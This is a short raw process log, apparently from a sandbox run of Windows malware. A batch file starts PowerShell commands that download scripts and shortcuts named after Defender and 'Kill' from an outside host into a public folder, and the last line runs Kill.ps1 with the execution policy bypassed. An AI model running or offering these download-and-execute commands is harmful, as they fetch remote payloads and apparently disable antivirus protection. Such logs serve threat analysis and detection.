cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "kTXFuGQQIim" C:\Users\test22\AppData\Local\Temp\all.bat
2444powershell.exe powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/t-ool/11.txt', 'C:\Users\Public\11.ps1') }"
2084powershell.exe powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/t-ool/Defender.bat', 'C:\Users\Public\Defender.bat') }"
1808powershell.exe powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/t-ool/DefenderKill.lnk', 'C:\Users\Public\DefenderKill.lnk') }"
2412powershell.exe powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://lax007.hawkhost.com/~mazennet/t-ool/Kill.txt', 'C:\Users\Public\Kill.ps1') }"
2620powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\Public\Kill.ps1
2356